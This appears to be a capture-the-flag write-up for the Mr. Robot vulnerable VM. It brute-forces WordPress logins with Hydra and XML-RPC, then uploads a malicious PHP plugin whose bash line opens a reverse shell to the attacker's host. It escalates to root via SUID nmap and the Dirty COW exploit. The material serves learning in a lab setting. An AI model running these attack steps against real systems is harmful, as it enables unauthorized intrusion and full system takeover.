Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

Service Enumeration

I used Autorecon. It can be found here. The results are:

root@kali:~/AutoRecon/results/192.168.100.34/scans# ls

_commands.log          tcp_443_https_gobuster.txt    tcp_443_sslscan.txt       tcp_80_http_screenshot.png
_full_tcp_nmap.txt     tcp_443_https_index.html      tcp_80_http_gobuster.txt  tcp_80_http_whatweb.txt
_manual_commands.txt   tcp_443_https_nikto.txt       tcp_80_http_index.html    _top_20_udp_nmap.txt
_patterns.log          tcp_443_https_robots.txt      tcp_80_http_nikto.txt     xml
_quick_tcp_nmap.txt    tcp_443_https_screenshot.png  tcp_80_http_nmap.txt
tcp_443_http_nmap.txt  tcp_443_https_whatweb.txt     tcp_80_http_robots.txt

Nmap Full TCP Scan

# Nmap 7.80 scan initiated Wed Oct  9 12:11:55 2019 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /root/AutoRecon/results/192.168.100.34/scans/_full_tcp_nmap.txt -oX /root/AutoRecon/results/192.168.100.34/scans/xml/_full_tcp_nmap.xml 192.168.100.34
adjust_timeouts2: packet supposedly had rtt of -231141 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -231141 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -301814 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -301814 microseconds.  Ignoring time.
Nmap scan report for 192.168.100.34
Host is up, received arp-response (0.00051s latency).
Scanned at 2019-10-09 12:11:56 +04 for 127s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT    STATE  SERVICE  REASON         VERSION
22/tcp  closed ssh      reset ttl 64
80/tcp  open   http     syn-ack ttl 64 Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http syn-ack ttl 64 Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
| SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
| -----BEGIN CERTIFICATE-----
| MIIBqzCCARQCCQCgSfELirADCzANBgkqhkiG9w0BAQUFADAaMRgwFgYDVQQDDA93
| d3cuZXhhbXBsZS5jb20wHhcNMTUwOTE2MTA0NTAzWhcNMjUwOTEzMTA0NTAzWjAa
| MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
| MIGJAoGBANlxG/38e8Dy/mxwZzBboYF64tu1n8c2zsWOw8FFU0azQFxv7RPKcGwt
| sALkdAMkNcWS7J930xGamdCZPdoRY4hhfesLIshZxpyk6NoYBkmtx+GfwrrLh6mU
| yvsyno29GAlqYWfffzXRoibdDtGTn9NeMqXobVTTKTaR0BGspOS5AgMBAAEwDQYJ
| KoZIhvcNAQEFBQADgYEASfG0dH3x4/XaN6IWwaKo8XeRStjYTy/uBJEBUERlP17X
| 1TooZOYbvgFAqK8DPOl7EkzASVeu0mS5orfptWjOZ/UWVZujSNj7uu7QR4vbNERx
| ncZrydr7FklpkIN5Bj8SYc94JI9GsrHip4mpbystXkxncoOVESjRBES/iatbkl0=
|_-----END CERTIFICATE-----
MAC Address: 20:C9:D0:7C:EE:8D (Apple)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/9%OT=80%CT=22%CU=%PV=Y%DS=1%DC=D%G=N%M=20C9D0%TM=5D
OS:9D96CB%P=x86_64-pc-linux-gnu)SEQ(TI=Z%CI=I%II=I%TS=8)SEQ(SP=106%GCD=1%IS
OS:R=109%TI=Z%CI=I%TS=8)OPS(O1=M5B4ST11NW6%O2=NNT11%O3=M5B4NNT11NW6%O4=NNT1
OS:1%O5=M5B4ST11NW6%O6=NNT11)WIN(W1=7120%W2=1C5%W3=7120%W4=1D6%W5=7120%W6=1
OS:D6)ECN(R=Y%DF=Y%TG=40%W=7210%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=N)IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 0.024 days (since Wed Oct  9 11:39:27 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms 192.168.100.34

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct  9 12:14:03 2019 -- 1 IP address (1 host up) scanned in 129.73 seconds
Services TCP UDP
OpenSSH 22 n/a
HTTP 80 n/a
HTTPS 443 n/a

Nikto

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.100.34
+ Target Hostname:    192.168.100.34
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=www.example.com
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /CN=www.example.com
+ Start Time:         2019-10-09 12:12:35 (GMT4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Hostname '192.168.100.34' does not match certificate's names: www.example.com
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <https://192.168.100.34/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the secure flag
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 23 item(s) reported on remote host
+ End Time:           2019-10-09 13:03:54 (GMT4) (3079 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Based on the results, it’s Wordpress.

The best results was from uniscan(only the crawling section):

Directory check:
CODE: 200 URL: http://192.168.100.34/Image/
CODE: 200 URL: http://192.168.100.34/admin/
CODE: 200 URL: http://192.168.100.34/feed/
CODE: 200 URL: http://192.168.100.34/image/
CODE: 200 URL: http://192.168.100.34/login/
CODE: 200 URL: http://192.168.100.34/rss/
CODE: 200 URL: http://192.168.100.34/wp-login/
CODE: 200 URL: http://192.168.100.34/wp-admin/

File check:
CODE: 200 URL: http://192.168.100.34/admin/index.html
CODE: 200 URL: http://192.168.100.34/admin/index.php
CODE: 200 URL: http://192.168.100.34/favicon.ico
CODE: 200 URL: http://192.168.100.34/index.html
CODE: 200 URL: http://192.168.100.34/index.html%20
CODE: 200 URL: http://192.168.100.34/index.php
CODE: 200 URL: http://192.168.100.34/license.txt
CODE: 200 URL: http://192.168.100.34/readme
CODE: 200 URL: http://192.168.100.34/readme.html
CODE: 200 URL: http://192.168.100.34/robots.txt
CODE: 200 URL: http://192.168.100.34/search/htx/sqlqhit.asp
CODE: 200 URL: http://192.168.100.34/search/htx/SQLQHit.asp
CODE: 200 URL: http://192.168.100.34/search/sqlqhit.asp
CODE: 200 URL: http://192.168.100.34/search/SQLQHit.asp
CODE: 200 URL: http://192.168.100.34/sitemap.xml

Ignored Files:
http://192.168.100.34/wp-includes/css/buttons.min.css?ver=4.3.20
http://192.168.100.34/wp-content/themes/twentyfifteen/css/ie7.css?ver=20141010
http://192.168.100.34/wp-content/themes/twentyfifteen/css/ie.css?ver=20141010
http://192.168.100.34/wp-admin/css/install.min.css?ver=4.3.20
http://192.168.100.34/wp-admin/css/login.min.css?ver=4.3.20
http://192.168.100.34/wp-admin/css/ie.min.css?ver=4.3.20
http://192.168.100.34/wp-includes/wlwmanifest.xml
http://192.168.100.34/wp-admin/css/install.css?ver=20100228

The WordPress theme is twentyfifteen. Which wpscan did not find(see below).

A robots.txt file was also found by gobuster. Let’s run curl on that:

root@kali:~/AutoRecon/results/192.168.100.34/scans# curl http://192.168.100.34/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

First key is found. I’m not interested in finding the remaining ones. I’m doing this to learn new techniques, and improve my penetration testing skills.

The fsocity.dic is a wordlist. It’s CTF-like machine afterall, so it will be useful later on. Download it, and remove all duplicates:

root@kali:~/Notes/mrrobot# curl -O http://192.168.100.34/fsocity.dic

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 7075k  100 7075k    0     0  12.6M      0 --:--:-- --:--:-- --:--:-- 12.6M
root@kali:~/Notes/mrrobot# cat fsocity.dic | sort | uniq | wc -l 
11451
root@kali:~/Notes/mrrobot# cat fsocity.dic | sort | uniq > wordlist.txt

Wpscan

root@kali:~/Notes/mrrobot# wpscan --url 192.168.100.34 --no-banner
[+] URL: http://192.168.100.34/
[+] Started: Thu Oct 10 20:03:33 2019

Interesting Finding(s):

[+] http://192.168.100.34/
 | Interesting Entries:
 |  - Server: Apache
 |  - X-Mod-Pagespeed: 1.9.32.3-4523
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.100.34/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.100.34/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.100.34/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.100.34/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.3.20 identified (Latest, released on 2019-09-05).
 | Detected By: Rss Generator (Aggressive Detection)
 |  - http://192.168.100.34/feed/, <generator>https://wordpress.org/?v=4.3.20</generator>
 |  - http://192.168.100.34/comments/feed/, <generator>https://wordpress.org/?v=4.3.20</generator>

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <=================================================> (21 / 21) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up.

[+] Finished: Thu Oct 10 20:03:39 2019
[+] Requests Done: 49
[+] Cached Requests: 5
[+] Data Sent: 11.795 KB
[+] Data Received: 48.683 KB
[+] Memory used: 161.641 MB
[+] Elapsed time: 00:00:05

Nothing interesting except xmlrpc.php. I can’t find any exploit for Wordpress 4.3.20.

XMLRPC Brief Overview

In CMS frameworks like Wordpress(or Drupal), XMLRPC is used to make remote procedures call to interact with the server through a list of available methods. The call is encoded in XML, and transported over HTTP.

Developers/website owners uses XML to communicate with the server remotely from the wordpress web interface or the desktop/mobile app through the xml-rpc API. The same thing you would do on a Wordpress web interface, the methods available on XMLRPC can do that.

Detecting XMLRPC

MacBook-Pro:~ kavish$ curl http://192.168.100.34/xmlrpc.php ; echo
XML-RPC server accepts POST requests only.

The line XML-RPC server accepts POST requests only. indicates that xmlrpc is enabled. The POST method is required to interact with XMLRPC to send data or XML Objects as parameters.

From BurpSuite

The POST request:

POST /xmlrpc.php HTTP/1.1
Host: 192.168.100.34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/ (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Cookie: s_fid=779B67510F1A792B-19020C31F320F846; s_nr=1570610366940; wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Length: 93

<methodCall>
 <methodName>system.listMethods</methodName>
 <params></params>
</methodCall>

The <methodName>system.listMethods</methodName> will tell xmlrpc to list all its available methods. Let’s take a look at the response:

HTTP/1.1 200 OK
Date: Sun, 13 Oct 2019 09:26:50 +0000
Server: Apache
X-Powered-By: PHP/5.5.29
Connection: close
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

The list of methods are pretty understandable. Not all of them are useful though. The interesting ones are:

  • demo.sayHello - This method just returns hello. It’s also another way to verify if xmlrpc is enabled.
  • pingback.ping - Any WordPress site with Pingback enabled (which is on by default) can be used in DDOS attacks against other sites.
  • wp.getUsersBlogs - Returns a list of blogs for a user. You must provide the corrent credentials.
  • wp.getUsers - Retrieve a user.

In newer versions of WordPress, most of those components are obsolete.

Bruteforcing with Hydra

I used admin as the password, or else this would have taken too long:

hydra -L wordlist.txt -p admin 192.168.100.34 http-post-form "/wp-login/php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.0.2.7%2Fwp-admin%2F&testcookie=1:Invalid username" -t 50 -f -V

[ATTEMPT] target 192.168.100.34 - login "encode" - pass "admin" - 5517 of 11452 [child 40] (0/0)
[ATTEMPT] target 192.168.100.34 - login "encounter" - pass "admin" - 5518 of 11452 [child 14] (0/0)
[ATTEMPT] target 192.168.100.34 - login "encountered" - pass "admin" - 5519 of 11452 [child 34] (0/0)
[80][http-post-form] host: 192.168.100.34   login: elliot   password: admin
[STATUS] attack finished for 192.168.100.34 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-13 17:36:37

Great. There’s a user called elliot. The below command was used in another write-up. That’s pretty cool. I did’t use it.

cewl -m 5 -w list.txt -d 0 -v https://en.wikipedia.org/wiki/Mr._Robot

XMLrpc Bruteforcing

I could have used hydra, but there’s a tool i wrote called xmlrpcbruteforce.py. It’s faster and cpu efficient.

root@kali:~/Notes/mrrobot# python3 xmlrpcbruteforce.py http://192.168.100.34/xmlrpc.php wordlist.txt elliot



                    __     __     __    __     _____       _____      _____      ____                 
                   (_ \   / _)    \ \  / /    (_   _)     (   __ \   (  __ \    / ___)                
                     \ \_/ /      () \/ ()      | |        ) (__) )   ) )_) )  / /                    
                      \   /       / _  _ \      | |       (    __/   (  ___/  ( (                     
                      / _ \      / / \/ \ \     | |   __   ) \ \  _   ) )     ( (                     
                    _/ / \ \_   /_/      \_\  __| |___) ) ( ( \ \_)) ( (       \ \___                 
                   (__/   \__) (/          \) \________/   )_) \__/  /__\       \____)                
                                                                                                          
 ______    ______     __    __   ________    _____      _________     ____     ______       ____    _____  
(_   _ \  (   __ \    ) )  ( (  (___  ___)  / ___/     (_   _____)   / __ \   (   __ \     / ___)  / ___/  
  ) (_) )  ) (__) )  ( (    ) )     ) )    ( (__         ) (___     / /  \ \   ) (__) )   / /     ( (__    
  \   _/  (    __/    ) )  ( (     ( (      ) __)       (   ___)   ( ()  () ) (    __/   ( (       ) __)   
  /  _ \   ) \ \  _  ( (    ) )     ) )    ( (           ) (       ( ()  () )  ) \ \  _  ( (      ( (      
 _) (_) ) ( ( \ \_))  ) \__/ (     ( (      \ \___      (   )       \ \__/ /  ( ( \ \_))  \ \___   \ \___  
(______/   )_) \__/   \______/     /__\      \____\      \_/         \____/    )_) \__/    \____)   \____\ 
                                                                                                           

                  _____   _____  _  _  _ _______  ______ _______ ______       ______  __   __     
                 |_____] |     | |  |  | |______ |_____/ |______ |     \      |_____]   \_/       
                 |       |_____| |__|__| |______ |    \_ |______ |_____/      |_____]    |        
                                                                                  
                              ______  ______  _____  ______  _______ ______                    
                             |______ |______ |       |_____] |______ |     \                   
                             ______| |______ |_____  |_____] ______| |_____/                   
                                                                                  



    


--=[Brute forcing target: http://192.168.100.34/xmlrpc.php]=--
--=[Starting...]=--
--=[Tried: 1000 passwords]=--
--=[Tried: 2000 passwords]=--
--=[Tried: 3000 passwords]=--
--=[Tried: 4000 passwords]=--
--=[Tried: 5000 passwords]=--
--=[User found! Success! elliot/ER28-0652]=--
--=[Successful!]=--

Awesome. The credentials are elliot:ER28-0652. Before i try to log in, let’s use BurpSuite to send request using wp.GetUsersBlogs. The request:

POST /xmlrpc.php HTTP/1.1
Host: 192.168.100.34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/ (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Cookie: s_fid=779B67510F1A792B-19020C31F320F846; s_nr=1570610366940; wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Length: 283

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
 <param>
  <value>
   <string>elliot</string>
  </value>
 </param>
 <param>
  <value>
   <string>ER28-0652</string>
  </value>
 </param>
</params>
</methodCall>

The response:

HTTP/1.1 200 OK
Date: Sun, 13 Oct 2019 12:18:34 +0000
Server: Apache
X-Powered-By: PHP/5.5.29
Connection: close
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 657
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>http://192.168.100.34/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>user&amp;#039;s Blog!</string></value></member>
  <member><name>xmlrpc</name><value><string>http://192.168.100.34/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

isAdmin is equal to 1. Now every methods that require a credential, can be abused.

Php Reverse Shell

I found 3 ways to get a reverse shell from published write-ups:

  • Malicious Plugin
  • Through the default templates
  • Meterpreter (i won’t do it)

Even as an administrator, a php file can’t be uploaded in the media section. The default templates are not persistent, but i’m going to try it.

Malicious Plugin

I used this. Create a file with following content:

<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: whatever
* Author URI: http://www.example.com
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.30/443 0>&1'");
?>

Zip it: zip revsh.zip ./revsh-plugin.php

Upload the plugin, activate it then switch to the listener:

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.100.30] from (UNKNOWN) [192.168.100.34] 35088
bash: cannot set terminal process group (1565): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ 

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ 

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ 

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ whoami
whoami
daemon
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ 

Run the following to be get a full interactive shell:

python -c 'import pty; pty.spawn("/bin/bash")'
CTRL-z
stty raw -echo
fg

If you get a blackscreen after fg, press enter or exec reset.

Let’s take a look at the kernel and os info:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ uname -a
uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ cat /etc/*release*
cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.2 LTS"
NAME="Ubuntu"
VERSION="14.04.2 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.2 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
  • Kernel: 3.13 (32-bit)
  • OS: Ubuntu 14.04

There’s only one exploit on exploit-db that corrensponds to Ubuntu 14.04. It doesn’t work. I can’t find another way to get root except through the old nmap version that can used to spawn a shell as root. That’s the only technique which has been used in several write-ups.

Find all suid files:

daemon@linux:~$ find / -perm -4000 2> /dev/null 
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

GTFObins is a goldmine for escalating privileges through executables.

Getting root through nmap:

daemon@linux:~$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash -p
bash-4.3# whoami
root
bash-4.3# passwd root
passwd: You may not view or modify password information for root.
bash-4.3# 

You become root through nmap, but with limited access. To get a Privilege escalation using only the system resources is impossible at this point. Since the kernel version is less than 3.99, let’s deploy the famous Dirty COW.

Switch to the /tmp directory, and download Dirty COW, compile it, and make it executable:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp

Dirty COW to the rescue:

daemon@linux:/tmp$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@linux:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@linux:~# cp /tmp/.ssh_bak /etc/passwd
root@linux:~# rm /tmp/.ssh_bak
root@linux:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linux:~# 

The -s flag will restore /etc/passwd upon completion. Omit the -s to log in with the passworddirtyCowFun, and then you can change the root password permanently.

404 not found

I used the php reverse shell from pentestmonkey. Replace the default IP and Port.

Go into Appearance -> Editor -> 404 Template, and paste the generated shell code. Load the 404 page - http://192.168.100.34/iamareverseshell.

On the listener:

root@kavishgr:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.100.30] from (UNKNOWN) [192.168.100.34] 50646
bash: cannot set terminal process group (1518): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ 

Note: The machine was designed to just get the 3 flags, and that’s it. There’s not much you can do beyond that.